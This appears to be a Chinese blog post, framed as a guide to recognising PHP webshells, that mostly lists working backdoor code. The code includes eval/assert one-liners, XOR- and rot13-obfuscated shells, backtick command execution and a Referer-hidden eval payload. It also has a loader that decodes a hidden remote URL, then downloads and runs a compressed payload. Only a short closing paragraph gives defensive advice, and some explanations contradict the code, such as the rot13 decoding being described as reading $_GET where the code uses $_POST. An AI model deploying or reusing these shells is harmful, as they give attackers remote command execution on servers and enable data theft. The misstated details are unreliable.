识别与防范常见PHP后门:从显式函数到隐蔽混淆

Evan
Evan
发布时间:2026-10-13 | 4人浏览过
原创

PHP后门(Webshell)是网站安全中的重大隐患。攻击者常利用危险函数、特殊运算符及复杂的编码混淆手段绕过安全检测。掌握这些后门的运行原理,对于提升网站防御能力和快速排查恶意代码至关重要。

基础且直观的后门构造

最经典的PHP一句话木马通常直接使用核心危险函数接收并执行用户输入的数据。这类后门在静态扫描中容易被发现,但仍是初学者的入门级Payload。

利用 eval 和 assert 执行

eval() 和 assert() 都可以将字符串作为 PHP 代码执行。以下是两种最常见的写法:

<?php @eval($_POST['cmd']); ?>
<?php @assert($_POST['cmd']); ?>

上述代码会监听 $_POST 请求中的 'cmd' 参数,并将其作为 PHP 代码执行。@ 符号用于抑制报错信息,增加隐蔽性。

动态变量构建

为了逃避基于关键词的简单过滤,攻击者会通过运算动态生成变量名。例如利用字符 XOR 异或运算:
$_++ 使 $_ 变为 1;随后通过括号内不同字符的异或组合出 '_POST'。

<?php 
 @$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]) &nbsp; ?>

这种写法将逻辑拆散,传统的正则匹配很难直接识别出完整的敏感函数名。

利用特殊语法与环境特性

除了标准函数,某些特殊的 PHP 运算符或环境设置也能被用于恶意执行,这类后门往往比常规文件更小,甚至可以直接嵌入网页源码中进行伪装。

反引号操作符执行系统命令

在 PHP 中,使用反引号(不是单引号)包围的字符串会被视为 shell 命令并直接执行。这是一种极轻量级的后门形式:

<?php
// 完整形态
$c=urldecode($_GET['c']);if($c){`$c`;}
// 精简形态
!$_GET['c']||`{$_GET['c']}`;
?>

通过访问 ?c=type config.php>config.txt 即可读取服务器上的配置文件,无需额外的文件名特征。

利用正则回调执行

preg_replace 的 /e 修饰符(现已被弃用,但在老版本或特定环境中可能仍然存在)允许替换字符串部分以 PHP 代码形式执行:

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?>

这里利用 str_rot13() 进行了简单的编码混淆。解密后的代码实际上是 assert($_GET['page']);,密码参数为 'page'。

高度隐蔽的免杀 Webshell

面对现代 WAF 和杀毒软件的实时监测,进阶的攻击者会使用动态加载、外部引用、会话存储等手段制造无特征码的 Webshell。

通过 Session 动态加载远程代码

这是一种典型的“落地马”变种。脚本首先尝试从一个看似正常的图片地址获取内容,将其解码、解压后存入 session,最终通过正则回调执行。

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");
if(empty($_SESSION['api'])) {
    // pack() 将十六进制转为 URL
// file_get_contents 读取远程资源
$_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
} // 执行解压缩后的 payload
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

该样本利用了 sprintf 重组 URL,并从远端图片中截取出真实的恶意代码段。由于主文件看起来只是包含了一段 Base64 字符串和图片读取逻辑,极难触发静态报警。

Session 传递与无特征执行

通过将恶意代码放置在 Session 中,并利用 preg_replace 的动态特性来调用执行函数,可以实现完全避开关键词库的检测:

<?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
// e修饰符导致第二个参数被当作代码执行
$_SESSION [ 'theCode' ] && preg_replace( '\\a\\eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\\'theCode\\']))' , 'a' ); ?>

在此示例中,eval 关键字被手动拼接而成,使得静态扫描器无法命中关键词。

利用 GET 参数直接映射函数

极其简短的赋值式后门:

<?php $_GET [a]( $_GET [b]);?>

当请求参数为 ?a=assert&b=${fputs(...)} 时,可以直接在当前目录生成一个新的 php 木马文件。这种方式不依赖任何预定义的函数名列表,仅依赖参数传递。

多级请求与 Referer 隐藏载荷

为了绕过针对 POST 参数的拦截,攻击者可以将载荷隐藏在 HTTP 请求头 Referer 中:

// 后门主体 (1.php)
<?php parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { // 提取第7个参数进行base64解码并执行
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); }
?>

控制端脚本需构造特定的 Referer 头部发送请求,从而在不修改请求体内容的情况下完成指令下发。

总结与建议

从基础的 eval、assert,到利用反引号执行系统命令,再到基于 Session、远程图片和 Referer 的高级混淆技术,PHP 后门的形式不断进化。对于开发者而言,应避免在业务代码中使用 eval 和动态执行语句,加强文件上传路径的权限控制。对于运维人员,定期扫描代码中包含 PREG_REPLACE /e、system/exec 及异常 Base64 长字符串的文件,结合内存马检测机制,能有效识别此类威胁。

以上就是关于识别简单及隐蔽PHP后门的详细内容,更多关于PHP安全防范的资料请关注本站其它相关文章!
相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表